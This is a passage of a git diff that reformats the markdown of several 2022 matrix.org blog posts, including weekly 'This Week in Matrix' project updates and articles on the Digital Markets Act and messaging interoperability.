sync (MSC3575)](https://github.com/matrix-org/matrix-rust-sdk/pull/536) > * [@poljar] is working on [integrating vodozemac, a libolm reimplementation in Rust](https://github.com/matrix-org/matrix-rust-sdk/pull/494) -> -> [@jplatte]: https://github.com/jplatte -> [@poljar]: https://github.com/poljar +> > [@gnunicorn]: https://github.com/gnunicorn -> [@ShadowJonathan]: https://github.com/ShadowJonathan -> [@zecakeh]: https://github.com/zecakeh ## Dept of Ping 🏓 Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -325,6 +313,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|roeckx.be|2577.5| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2022/03/2022-03-25-interoperability-without-sacrificing-privacy-matrix-and-the-dma.md b/content/blog/2022/03/2022-03-25-interoperability-without-sacrificing-privacy-matrix-and-the-dma.md index f3dedd5a0..490174f2c 100644 --- a/content/blog/2022/03/2022-03-25-interoperability-without-sacrificing-privacy-matrix-and-the-dma.md +++ b/content/blog/2022/03/2022-03-25-interoperability-without-sacrificing-privacy-matrix-and-the-dma.md @@ -26,12 +26,12 @@ While the formal outcomes of yesterday’s agreement haven’t been published ye (beyond [this press release](https://www.europarl.europa.eu/news/en/press-room/20220315IPR25504/deal-on-digital-markets-act-ensuring-fair-competition-and-more-choice-for-users)), our understanding is that the DMA will mandate: - * Gatekeepers will have to provide open and documented APIs to their +* Gatekeepers will have to provide open and documented APIs to their services, on request, in order to facilitate interoperability (i.e. so that other services can communicate with their users). - * These APIs must preserve the same level of end-to-end encryption (if any) +* These APIs must preserve the same level of end-to-end encryption (if any) to remote users as is available to local users. - * This applies to 1:1 messaging and file transfer in the short term, and +* This applies to 1:1 messaging and file transfer in the short term, and group messaging, file-transfer, 1:1 VoIP and group VoIP in the longer term. diff --git a/content/blog/2022/03/2022-03-25-this-week-in-matrix-2022-03-25.md b/content/blog/2022/03/2022-03-25-this-week-in-matrix-2022-03-25.md index bda53ff28..3acbef5a6 100644 --- a/content/blog/2022/03/2022-03-25-this-week-in-matrix-2022-03-25.md +++ b/content/blog/2022/03/2022-03-25-this-week-in-matrix-2022-03-25.md @@ -24,35 +24,39 @@ image = "https://matrix.org/blog/img/762d6f95db9c7e5acf8f0cb4bfee30ed794c9c9e.pn [Andrew Morgan (anoa)](https://matrix.to/#/@andrewm:element.io) announces -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. -> -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> +> > ## MSC Status -> +> > **New MSCs:** +> > * [MSC3755: Member pronouns](https://github.com/matrix-org/matrix-spec-proposals/pull/3755) -> +> > **MSCs in Proposed Final Comment Period:** +> > * [MSC2246: Asynchronous media uploads](https://github.com/matrix-org/matrix-spec-proposals/pull/2246) > * [MSC3700: Deprecate plaintext sender key](https://github.com/matrix-org/matrix-spec-proposals/pull/3700) -> +> > **MSCs in Final Comment Period:** +> > * [MSC3667: Enforce integer power levels](https://github.com/matrix-org/matrix-spec-proposals/pull/3667) (merge) -> +> > **Merged MSCs:** +> > * *No MSCs were merged this week.* -> +> > ## Spec Updates -> +> > Mostly continued review of MSCs, while implementation work continues on in the background. -> -> +> +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC2499: Fixes for Well-known URIs](https://github.com/matrix-org/matrix-spec-proposals/pull/2499)! -> +> > This MSC proposes some much-desired practical and usability fixes to the "Well-Known" discovery method for Matrix homeservers. This is part of the system that enables homeserver's to "delegate" their homeserver address (your Matrix ID is @alice:example.com, but your homeserver is listening for requests on homeserver.example.com). -> +> > Well-known for homeserver delegation was introduced a number of years ago, and since then some friction has arisen from various implementations. This MSC aims to address a collection of them! ## Dept of Servers 🏢 @@ -64,10 +68,10 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [Brendan Abolivier](https://matrix.to/#/@babolivier:element.io) says > Hey everyone! This week we've released [Synapse 1.55](https://github.com/matrix-org/synapse/releases/tag/v1.55.0), which includes a bunch of new features, performance improvements and bugfix. If you're using Mjolnir to moderate your rooms, and/or `synctl` to manage your homeserver, this release also introduces a few changes you definitely want to be aware of, head over to the [announcement](https://matrix.org/blog/2022/03/22/synapse-1-55-released) on the matrix.org blog for more! -> +> > Yesterday, we noticed a compatibility issue with a newly released version of [Jinja](https://jinja.palletsprojects.com/en/3.1.x/), which is the tool we use in Synapse to render e-mail and web templates. We've quickly put out [Synapse 1.55.2](https://github.com/matrix-org/synapse/releases/tag/v1.55.2) to address this - so if you were unable to start Synapse because of it just update and you should be fine 🙂 > Note that this doesn't apply to deployments of Synapse using the `matrixdotorg/synapse` Docker image or Debian packages from `packages.matrix.org` since they are already using a compatible version of Jinja. -> +> > Apart from that, work continues towards integrating [Poetry](https://python-poetry.org/) with Synapse, which should prevent this kind of issues from happening in the future, and on improving room join times. ### Dendrite ([website](https://github.com/matrix-org/dendrite)) @@ -77,14 +81,14 @@ Second generation Matrix homeserver [neilalexander](https://matrix.to/#/@neilalexander:matrix.org) announces > We've just released [Dendrite 0.7.0](https://github.com/matrix-org/dendrite/releases/tag/v0.7.0), which has quite a lengthy list of changes: -> +> > * The roomserver input API will now queue all events into NATS, which provides better crash resilience > * The roomserver input API now configures per-room consumers, which should use less memory > * Canonical aliases can now be added and removed > * MSC2946 Spaces Summary now works correctly, both locally and over federation > * Healthcheck endpoints are now available at: -> * `/_dendrite/monitor/up`, which will return 200 when Dendrite is ready to accept requests -> * `/_dendrite/monitor/health`, which will return 200 if healthy and 503 if degraded for some reason +> * `/_dendrite/monitor/up`, which will return 200 when Dendrite is ready to accept requests +> * `/_dendrite/monitor/health`, which will return 200 if healthy and 503 if degraded for some reason > * The `X-Matrix` federation authorisation header now includes a `destination` field, as per MSC3383 > * The `/sync` endpoint now uses less memory by only ranging state for rooms that the user has participated in > * The `/messages` endpoint now accepts stream positions in both the `from` and `to` parameters @@ -108,12 +112,12 @@ Second generation Matrix homeserver > * Various bugs around membership state and invites have been fixed > * The memberships table will now be correctly updated when rejecting a federated invite > * The client API and appservice API will now access the user database using the user API rather than accessing the database directly -> +> > In addition, there are some minor changes for Docker users: -> +> > * Docker images are now published to GitHub Container Register as well as Docker Hub — they can be found [here](https://github.com/orgs/matrix-org/packages?repo_name=dendrite) > * Docker images are now being automatically generated for the `main` branch by CI and will be available on the `:main` tag -> +> > As always, feel free to join us in [#dendrite:matrix.org](https://matrix.to/#/#dendrite:matrix.org) for Dendrite-related discussion! ## Dept of Bridges 🌉 @@ -125,18 +129,19 @@ A Matrix-KakaoTalk puppeting bridge. [Fair](https://matrix.to/#/@fair:miscworks.net) reports > This week brings yet more bugfixes & stability to DMs: now, there should be no trouble sending messages into a KakaoTalk DM that hasn't been active for a few days. -> +> > The other major improvements are: +> > * A command for listing your KakaoTalk friends list, appropriately named `list-friends` > * Receiving images from KakaoTalk -> +> > I had hoped to finish support for sending images from Matrix by today, but I couldn't quite crack it in time--either KakaoTalk changed their API for sending media messages, or I'm doing something wrong 🙃 -> +> > Nonetheless, the bridge is rapidly approaching a state of being usable! -> +> > --- > Discussion: [#matrix-appservice-kakaotalk:miscworks.net](https://matrix.to/#/#matrix-appservice-kakaotalk:miscworks.net) -> Issue page: https://src.miscworks.net/fair/matrix-appservice-kakaotalk/issues +> Issue page: ## Dept of Clients 📱 @@ -147,24 +152,26 @@ Chat with your privacy and freedom intact [0x1a8510f2](https://matrix.to/#/@0x1a8510f2:0x1a8510f2.space) announces > Hi all 👋. -> +> > A little over a year has passed since our last update, but we're not dead! On the contrary, Syphon has seen some significant improvements over the last year both in terms of features and project structure; the project is more alive than ever before, and we're really excited to share some updates! -> +> > **Core Team** -> +> > Syphon now has a core team, consisting of @ereio:matrix.org (creator of Syphon), @ed:geraghty.london, @dnisbetjones:mozilla.org, and @0x1a8510f2:0x1a8510f2.space (me)! With some of the workload now being shared, we're hoping Syphon will grow even faster with less time needed to review and merge PRs, triage and fix bugs, evaluate and implement features and answer support requests. -> +> > **Cross-platform Availability** -> +> > Syphon has been steadily expanding its list of supported platforms over the past year: +> > * @ed:geraghty.london worked hard to bring Syphon to Windows with full feature parity, including (currently unofficial) Windows builds of Syphon. > * @btdmaster:asra.gr has created an [AUR package of Syphon](https://aur.archlinux.org/packages/syphon-bin) for Arch Linux users. > * I've been busy creating a [flatpak for Syphon](https://flathub.org/apps/details/org.syphon.Syphon) which is available on Flathub. > * Regular and official ARM64 builds are also planned soon, with the first manual one already released. Once the CI infrastructure is properly set up, these will be included for every release and the flatpak will receive ARM64 support too! -> +> > **Releases** -> +> > Between `0.1.7` (21 Mar 2021) and `0.2.12` (23 Mar 2022), 21 releases were published. Of course, too much changed to list everything, but here are some highlights: +> > * Multi-account support 🎉 > * Media messages 🎉 > * Markdown support 🎉 @@ -183,19 +190,21 @@ Chat with your privacy and freedom intact > * Massive performance improvements > * Numerous bug fixes (including encryption and SSO) > * Lots of refactoring and cleanup -> +> > Many of these would not have been possible without our awesome contributors. -> +> > **Translations** -> +> > We have also received many contributions in the form of translations and Syphon now supports, at least partially, 26 languages. Of these, 6 languages are fully or almost fully translated. To deal with all the incoming translations, there is now also an [official Weblate page for Syphon](https://hosted.weblate.org/projects/syphon/syphon/). -> +> > All of these translations are submitted by volunteers and we're really grateful for their contributions in making Syphon more accessible to an international audience. -> +> > **Syphon Space** -> +> > We also now have an official Syphon space which we use for support, development discussion or just friendly offtopic chat. Come join us if you like at [#syphon-space:matrix.org](https://matrix.to/#/#syphon-space:matrix.org)! +> > ![](/blog/img/9ba6ff09e72a1e02e845db105a2adafee51c91e9b3ec9a4ddf43d80a2933099a.jpg) +> > ![](/blog/img/94ca6df8c762b3d003f5abfed88b0ef3f1d47b8a6e29a04718dbfb768b4cfd85.jpg) ### SchildiChat ([website](https://schildi.chat)) @@ -205,9 +214,10 @@ SchildiChat is a fork of Element that focuses on UI changes such as message bubb [SpiritCroc](https://matrix.to/#/@spiritcroc:spiritcroc.de) reports > SchildiChat-Android now has more styles of message bubbles! So if you prefer the Schildi-bubbles over the Element ones (which you can use too in SchildiChat if you want), you can now also select between bubbles with or without tail, and select some more round bubbles than what we had previously, which was a highly requested feature! -> +> +> > ![](/blog/img/TCXQEWpnvMjytkXtIIoHEPGj.png) -> +> > If you wonder what makes SchildiChat special except for the different design now that Element has bubbles as well: it's hard to describe in a couple of short sentences, as it's mostly in the details. > So if you are interested in a list of things that we did on Android, I wrote up some aspects [here](https://github.com/SchildiChat/SchildiChat-android/blob/sc/FEATURES.md). > Note however that this list is usually not really kept up-to-date, and there might already be some things that are now outdated since I added them. @@ -220,25 +230,25 @@ Desktop client for Matrix using Qt and C++17. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) reports > Beep, boop, v0.9.3 is out. It's mostly bugfixes and small improvements, changelog below: -> +> > ## Highlights -> +> > * New upload UX -> - Queue multiple uploads by pasting or dragging multiple files. -> - Videos will now properly have a thumbnail as well as images. -> - Duration, width and height is now also properly included so that clients can resize appropriately. -> - Thumbnails are excluded if they are bigger than the original image. (tastytea) +> * Queue multiple uploads by pasting or dragging multiple files. +> * Videos will now properly have a thumbnail as well as images. +> * Duration, width and height is now also properly included so that clients can resize appropriately. +> * Thumbnails are excluded if they are bigger than the original image. (tastytea) > * Improvements for mobile devices (Malte E) -> - You should now be able to scroll by touching anywhere with no random dead zones. -> - Preedit text can now be used in a completer and is properly sent -> - If an input method is active, pressing Enter will not send the current message. -> +> * You should now be able to scroll by touching anywhere with no random dead zones. +> * Preedit text can now be used in a completer and is properly sent +> * If an input method is active, pressing Enter will not send the current message. +> > ## Features -> +> > * Optionally always open videos and images in an external program. (math) -> +> > ## Improvements -> +> > * Build macOS releases against Qt 5.15.3 to resolve missing spaces after some punctuation. > * Send the shortcode as the body for stickers without a body. > * Elide long usernames in the timeline. (Malte E) @@ -247,23 +257,24 @@ Desktop client for Matrix using Qt and C++17. > * Various improvements to the bubble layout. (Malte E) > * Enable online key backup by default. > * Update the bundled gstreamer in our Flatpaks. -> +> > ## Translations -> +> > * Indonesian (Linerly) > * Estonian (Priit) > * Finnish (Priit) > * Esperanto (Tirifto) -> +> > ## Bugfixes -> +> > * Fix hovering the action menu. > * Try to avoid using unknown UIA flows. > * Don't Components actively in use. > * Fix screensharing. > * Fix device id when doing SSO logins. -> +> > Downloads should be live now, flatpak might take a while to publish still :3 +> > ![](/blog/img/yjNmGUXwWEhtOOhbsqFyloYx.png) ### Fractal ([website](https://gitlab.gnome.org/GNOME/fractal)) @@ -273,24 +284,29 @@ Matrix messaging app for GNOME written in Rust. [Julian Sparber](https://matrix.to/#/@jsparber:gnome.org) reports > Hello folks, quick update on what major things happened in Fractal-next the last two month. The most exciting addition is definitely the SSO support we merged this week and therefore we could close a 2 years old issue. -> +> > Timeline -> - You can now send files via drag-n-drop and via the file send button to a room. It also includes a nice preview for Images. -> - The timeline now shows audio messages with a small inline player. -> - Fractal-next lets you now remove messages you sent -> +> +> * You can now send files via drag-n-drop and via the file send button to a room. It also includes a nice preview for Images. +> * The timeline now shows audio messages with a small inline player. +> * Fractal-next lets you now remove messages you sent +> > Session verification -> - During first login, Fractal checks if the user hasn't started session verification from another client before offering to start a new one -> - The QrCode scanning is now spec compliant, and asks for user's confirmation after scanning. -> - We dropped screenshot support for QrCode scanning, since it makes the UX worse without adding any real benefit. -> +> +> * During first login, Fractal checks if the user hasn't started session verification from another client before offering to start a new one +> * The QrCode scanning is now spec compliant, and asks for user's confirmation after scanning. +> * We dropped screenshot support for QrCode scanning, since it makes the UX worse without adding any real benefit. +> > Room details -> - The room details show now the members of the room including the power level -> +> +> * The room details show now the members of the room including the power level +> > Login -> - Fractal-Next now supports SSO 🎉️ -> - We implemented auto-discovery of the homeserver via .well-known -> +> +> * Fractal-Next now supports SSO 🎉️ +> * We implemented auto-discovery of the homeserver via .well-known +> +> > ![](/blog/img/762d6f95db9c7e5acf8f0cb4bfee30ed794c9c9e.png) {{ youtube_player(video_id="mdRr2MtuMdc") }} @@ -300,16 +316,16 @@ Matrix messaging app for GNOME written in Rust. [Krille Fear](https://matrix.to/#/@krille:janian.de) announces > Sorry that I was a little bit silent in the last weeks. So much stuff to do... -> +> > If you haven't heard it yet (because I have not made it that much public yet) there are experimental video calls in FluffyChat now. You need to enable them first under Settings > Chat and then you can try them out. They should be fully compatible with the Element video calls. But be aware that they are very unstable at the moment and may let your app crash. -> +> > ## FluffyChat 1.3.1 has been released -> +> > This release contains a lot of updated translations and bugfixes. I'm very excited about the new keyboard shortcuts from TheOneWithTheBrain. Also in your stories you can now pick the background color and the size of the picture. This is still a little bit experimental but I will share of course update the stories MSC asap. > Thanks to all contributors and translators. -> -> ### Changelog: -> +> +> ### Changelog +> > * Allow app to be moved to external storage (Marcel) > * Translated using Weblate (Arabic) (Mads Louis) > * Translated using Weblate (Basque) (Sorunome) @@ -353,7 +369,7 @@ Matrix client for emacs [alphapapa](https://matrix.to/#/@alphapapa:matrix.org) announces -> [[https://github.com/alphapapa/ement.el][Ement.el]], a Matrix client for Emacs, has learned to create new rooms and invite users to rooms. Feedback is appreciated; see our chat room, [[https://matrix.to/#/#ement.el:matrix.org][#ement.el:matrix.org]], or the issue tracker on the repo. +> [Ement.el](https://github.com/alphapapa/ement.el), a Matrix client for Emacs, has learned to create new rooms and invite users to rooms. Feedback is appreciated; see our chat room, [#ement.el:matrix.org](https://matrix.to/#/#ement.el:matrix.org), or the issue tracker on the repo. ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -365,16 +381,16 @@ Secure and independent communication, connected via Matrix. Come talk with us in > * If you’re using an older version of Synapse (\ * **Groups have been deleted on develop.** It has also landed alongside other fairly major changes so please definitely report issues if you see them > * Continuing work to remove skinning from the application. This is a fairly major change to how everything works under the hood, so when it lands please report any issues with the app as most will be subtle and therefore might be missed. -> -> - Currently expected to land on or about April 5th -> - Component replacement will still be possible (and this will be documented) +> +> * Currently expected to land on or about April 5th +> * Component replacement will still be possible (and this will be documented) > * In labs (you can enable labs in settings on develop.element.io or on Nightly): -> -> - Thread list is now ordered by last reply -> - Fixes for the room list counter -> - Last stretch of threads acceptance testing before releasing to beta -> -> - Iteration to the new search dialog to integrate people & public rooms search into the new experience. +> +> * Thread list is now ordered by last reply +> * Fixes for the room list counter +> * Last stretch of threads acceptance testing before releasing to beta +> +> * Iteration to the new search dialog to integrate people & public rooms search into the new experience. ### Element iOS ([website](https://github.com/vector-im/element-ios)) @@ -393,12 +409,12 @@ Secure and independent communication for Android, connected via Matrix. Come tal [adam](https://matrix.to/#/@ouchadam:matrix.org) reports > Our current in progress release [1.4.6+](https://github.com/vector-im/element-android/releases) is running a little behind schedule, however when it does land it'll contain: -> -> * Fixes in the timeline for missing messages, inconsistent read marker, decryption crashes and the room icon _looking like donut_ +> +> * Fixes in the timeline for missing messages, inconsistent read marker, decryption crashes and the room icon *looking like donut* > * Improved Threads via [MSC3440](https://github.com/matrix-org/matrix-spec-proposals/blob/gsouquet/threading-via-relations/proposals/3440-threading-via-relations.md#fetch-all-replies-to-a-thread) > * The ability to share a user specified location > -> For the forks, a _heads up_ that we've updated our development branch Kotlin version to 1.6.0 which involved overhauling a lot of our `when` statements +> For the forks, a *heads up* that we've updated our development branch Kotlin version to 1.6.0 which involved overhauling a lot of our `when` statements ## Dept of Ops 🛠 @@ -409,34 +425,36 @@ Synapse Maintenance Container – Docker container with tools for synapse & post [saces](https://matrix.to/#/@saces:c-base.org) reports > Synatainer v0.3.1 has been released -> +> > New since v0.2.0 -> - add a db-shell and scripts to reset the state compressor -> - add options for passing purge/keep room lists -> -> +> +> * add a db-shell and scripts to reset the state compressor +> * add options for passing purge/keep room lists +> +> > Start it without command and let it do its magic :) -> +> > What it does by default: +> > * daily: -> - purge all rooms without local members -> - run the state autocompressor (small setting 500/100) +> * purge all rooms without local members +> * run the state autocompressor (small setting 500/100) > * weekly: -> - delete old remote media (>90 days) -> - delete old message history from public joinable rooms (>180 days) +> * delete old remote media (>90 days) +> * delete old message history from public joinable rooms (>180 days) > * monthly: -> - run the state autocompressor (big setting 1500/300) -> - vacuum the database -> -> Source: https://gitlab.com/mb-saces/synatainer -> +> * run the state autocompressor (big setting 1500/300) +> * vacuum the database +> +> Source: +> > Room: [#synatainer:c-base.org](https://matrix.to/#/#synatainer:c-base.org) -> -> Compose example: https://gitlab.com/mb-saces/synatainer/-/snippets/2264828 -> -> *** -> -> If you are looking for a docker container with just the auto compressor for linux amd64/arm64 in it, her you go: https://gitlab.com/mb-saces/rust-synapse-compress-state +> +> Compose example: +> +> --- +> +> If you are looking for a docker container with just the auto compressor for linux amd64/arm64 in it, her you go: ## Dept of Bots 🤖 @@ -447,8 +465,9 @@ The moderation bot for Matrix [Gnuxie](https://matrix.to/#/@gnuxie:matrix.org) announces > We have released Mjölnir [v1.4.1](https://github.com/matrix-org/mjolnir/releases/tag/v1.4.1) (via [v1.4.0](https://github.com/matrix-org/mjolnir/releases/tag/v1.4.0)) -> +> > Which in addition to fixes, includes a few new tools that you might find useful: +> > * a protection for detecting & measuring federation lag in your rooms > * bugfixes for the synapse antispam module (in particular squashing a bug that was removing users from the profile directory when blocking was disabled) > * a new message length limiter for the antispam module @@ -456,7 +475,7 @@ The moderation bot for Matrix > * a command to show when users in a given room have joined > * another command to filter through recent room joiners by the time they joined. > * Improvements that make writing protections easier. -> +> > Don't forget you can join our development room [#mjolnir:matrix.org](https://matrix.to/#/#mjolnir:matrix.org) if you have any have any questions for setting up and running Mjölnir! ## Dept of Events and Talks 🗣️ @@ -468,9 +487,9 @@ The moderation bot for Matrix [Thib](https://matrix.to/#/@thib:ergaster.org) adds > The theme of the episode is "analytics and privacy". We will have guests from the awesome non-profit Exodus Privacy to shed some light on analytics: what can your apps know about you and how you can get better informed. -> +> > Nad from Element will give us the perspective from the other side: as a vendor, does it make sense to use analytics? Are there better alternatives? Is there a way to do it right? -> +> > Join us in [#otwsu](https://matrix.to/#/#otwsu:matrix.org) and on [matrix.org/open-tech-will-save-us](https://matrix.org/open-tech-will-save-us/) ## Dept of Ping 🏓 @@ -478,6 +497,7 @@ The moderation bot for Matrix Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -494,6 +514,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|asra.gr|1629.5| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2022/03/2022-03-29-how-do-you-implement-interoperability-in-a-dma-world.md b/content/blog/2022/03/2022-03-29-how-do-you-implement-interoperability-in-a-dma-world.md index a4d914965..bb917401c 100644 --- a/content/blog/2022/03/2022-03-29-how-do-you-implement-interoperability-in-a-dma-world.md +++ b/content/blog/2022/03/2022-03-29-how-do-you-implement-interoperability-in-a-dma-world.md @@ -175,7 +175,9 @@ they’re unable to for whatever reason - e.g. their platform isn’t supported, or their government has blocked access, etc), or join BobChat yourself.
    + +

    @@ -187,6 +189,7 @@ use to open a given file extension (rather than the OS vendor hardcoding it to one of their own apps - another win for user rights [led by the EU](https://en.wikipedia.org/wiki/Microsoft_Corp._v._Commission)!).
    +

    @@ -248,6 +251,7 @@ WhatsApp<->Matrix bridge before WhatsApp themselves did…) Architecturally, it could look like this: + ![](/blog/img/2022-03-29-alice-bob.jpg) Or, more likely (given a dedicated bridge between two proprietary services @@ -256,6 +260,7 @@ hosts the bridge), both services could run a bridge to a common open standard protocol like Matrix or XMPP instead (thus immediately enabling interoperability with everyone else connected to that network): + ![](/blog/img/2022-03-29-alice-bob-bridged.jpg) Please note that while these examples show server-side bridges, in practice it @@ -269,6 +274,7 @@ client on your phone which auths you with AliceChat and then sits in the background receiving messages and bridging them through to Matrix or XMPP, like this: + ![](/blog/img/2022-03-29-alice-bob-clientside.jpg) Another possible architecture could be for the E2EE gatekeeper to expose their @@ -279,6 +285,7 @@ doing a form of realtime [data liberation](https://en.wikipedia.org/wiki/Google_Data_Liberation_Front) from the closed service to an open system, looking something like this: + ![](/blog/img/2022-03-29-alice-bob-clientside-apis.jpg) Finally, it's worth noting that when peer-to-peer decentralised protocols @@ -327,6 +334,7 @@ interoperability and privacy if Bob is not on the same system as Alice warn Alice that the conversation is no longer end-to-end encrypted:
    +

    @@ -393,6 +401,7 @@ a spanning tree for each conversation to prevent forwarding loops. Here’s a deliberately twisty example to illustrate the above thought experiment: + ![](/blog/img/2022-03-29-alice-bob-charlie.jpg) There is also a risk of bridge proliferation here - in the worst case, every @@ -426,4 +435,3 @@ we’ve grown used to a broken world where nothing can interconnect. There are tractable ways to solve it in a way that empowers and informs the user - and the DMA has now given the industry the opportunity to demonstrate that it can work. - diff --git a/content/blog/2022/03/2022-03-30-technical-faq-on-the-digital-markets-act.md b/content/blog/2022/03/2022-03-30-technical-faq-on-the-digital-markets-act.md index d8003c618..29f9b314f 100644 --- a/content/blog/2022/03/2022-03-30-technical-faq-on-the-digital-markets-act.md +++ b/content/blog/2022/03/2022-03-30-technical-faq-on-the-digital-markets-act.md @@ -63,6 +63,7 @@ that their conversation is leaving their platform and is no longer E2EE with something like this:
    +

    @@ -96,7 +97,7 @@ from under its users) - and in fact it gives the gatekeepers an excellent way to advertise the selling point that E2EE is only guaranteed when you speak to other users on the same platform. -### But why do we need bridges? If everyone spoke a common protocol, you wouldn’t ever have to decrypt messages to convert them between protocols. +### But why do we need bridges? If everyone spoke a common protocol, you wouldn’t ever have to decrypt messages to convert them between protocols Practically speaking, we don’t expect the gatekeepers to throw away their existing stacks (or implement multihead messengers that also speak open diff --git a/content/blog/2022/04/2022-04-01-this-week-in-matrix-2022-04-01.md b/content/blog/2022/04/2022-04-01-this-week-in-matrix-2022-04-01.md index c34f957af..ed7aa07d7 100644 --- a/content/blog/2022/04/2022-04-01-this-week-in-matrix-2022-04-01.md +++ b/content/blog/2022/04/2022-04-01-this-week-in-matrix-2022-04-01.md @@ -19,38 +19,43 @@ image = "https://matrix.org/blog/img/gCWjWPOAOZtZFNmxqdpRRXPz.jpg" [Andrew Morgan (anoa)](https://matrix.to/#/@andrewm:element.io) reports -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. -> -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> +> > ## MSC Status -> +> > **New MSCs:** +> > * [MSC3761: State event change control](https://github.com/matrix-org/matrix-spec-proposals/pull/3761) > * [MSC3760: State sub-keys](https://github.com/matrix-org/matrix-spec-proposals/pull/3760) > * [MSC3759: Leave event metadata for deactivated users](https://github.com/matrix-org/matrix-spec-proposals/pull/3759) > * [MSC3758: Expand push rule conditions](https://github.com/matrix-org/matrix-spec-proposals/pull/3758) > * [MSC3757: Restricting who can overwrite a state event](https://github.com/matrix-org/matrix-spec-proposals/pull/3757) -> +> > **MSCs in Final Comment Period:** +> > * *No MSCs are in FCP.* -> +> > **MSCs with Proposed Final Comment Period:** +> > * *No MSCs had FCP proposed this week.* -> +> > **Merged MSCs:** +> > * [MSC3667: Enforce integer power levels](https://github.com/matrix-org/matrix-spec-proposals/pull/3667) -> +> > ## Spec Updates -> +> > There's been lots of new MSCs this week! Three of them - those regarding state restrictions and subkeys - are related to the ongoing live location sharing work that Element is currently working on. See [MSC3672](https://github.com/matrix-org/matrix-spec-proposals/pull/3672) for the current state of the spec work for that feature. -> +> > Otherwise the spec core team has been reviewing a flurry of MSCs this week. This includes [MSC3383](https://github.com/matrix-org/matrix-spec-proposals/pull/3383) (Include destination in X-Matrix Auth Header), [MSC3700](https://github.com/matrix-org/matrix-spec-proposals/pull/3700) (Deprecate plaintext sender key) and [MSC2246](https://github.com/matrix-org/matrix-spec-proposals/pull/2246) (Asynchronous media uploads). Exciting things in the pipeline! -> +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC2815: Proposal to allow room moderators to view redacted event content](https://github.com/matrix-org/matrix-spec-proposals/pull/2815)! -> +> > Another MSC in the sphere of moderation, and one that aims to put moderation control more in the hands of room admins rather than homeserver admins. A similar MSC in this realm is [MSC3215](https://github.com/matrix-org/matrix-spec-proposals/pull/3215) (Aristotle), which aims to send event reports to room admins, rather than homeserver admins that may not even have control over the malicious user. +> > ![](/blog/img/20220401-spec.png) ## Dept of Servers 🏢 @@ -62,11 +67,11 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [Brendan Abolivier](https://matrix.to/#/@babolivier:element.io) announces > Happy Friday everyone! -> +> > In case you missed it, we've released the first release candidate for Synapse 1.56 on Tuesday. This one includes a couple new module-related features, but also quite a few bugfixes and internal improvements. I'll talk about this in more details next week when Synapse 1.56 gets properly released, but the key points of this release is that Synapse will now refuse to start if it's configured with unsafe registration settings (i.e. open registration without any form of verification) as well as if it's running against a PostgreSQL database with the wrong locale values. Have a look at the [upgrade notes](https://matrix-org.github.io/synapse/v1.56/upgrade.html#upgrading-to-v1560) for more information about this. -> -> Apart from that, the team still continuing work on the two main topics I've been mentioning in previous weeks: fast room joins and integrating [poetry](https://python-poetry.org/). The latter is getting _reeeally_ close to the finish line now, as the [pull request](https://github.com/matrix-org/synapse/pull/12337) has recently entered the review stage. So watch this space for more exciting news on this topic! -> +> +> Apart from that, the team still continuing work on the two main topics I've been mentioning in previous weeks: fast room joins and integrating [poetry](https://python-poetry.org/). The latter is getting *reeeally* close to the finish line now, as the [pull request](https://github.com/matrix-org/synapse/pull/12337) has recently entered the review stage. So watch this space for more exciting news on this topic! +> > That's all for this week, catch you all next time 🙂 ### matrix-media-repo ([website](https://github.com/turt2live/matrix-media-repo)) @@ -76,9 +81,9 @@ Matrix media repository with multi-domain in mind. [TravisR](https://matrix.to/#/@travis:t2l.io) reports > MMR [v1.2.12](https://github.com/turt2live/matrix-media-repo/releases/tag/v1.2.12) is out now with a bunch of added features, removal of in-memory cache (per last release's deprecation notice), and some bug fixes. -> +> > Most notable are some added/improved support for JPEG XL, HEIF, and HEIC thumbnails, content ranges support (allowing the ability to skip to a part of a video), and a way to make the logs a bit quieter. -> +> > Give it a go and report issues to the issue tracker 🙂 ## Dept of Bridges 🌉 @@ -90,16 +95,17 @@ A multi purpose multi platform bridge, formerly known as matrix-github [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) announces > It feels like one of these comes out nearly every month, which probably means we're doing something right! This release takes a step back and fixes quite a few of our more longstanding bugs and fixes many nits here and there. Please read the [change notes](https://github.com/matrix-org/matrix-hookshot/releases/tag/1.3.0) carefully as some APIs have moved around and your load balancers / config may need adjusting. One final note is 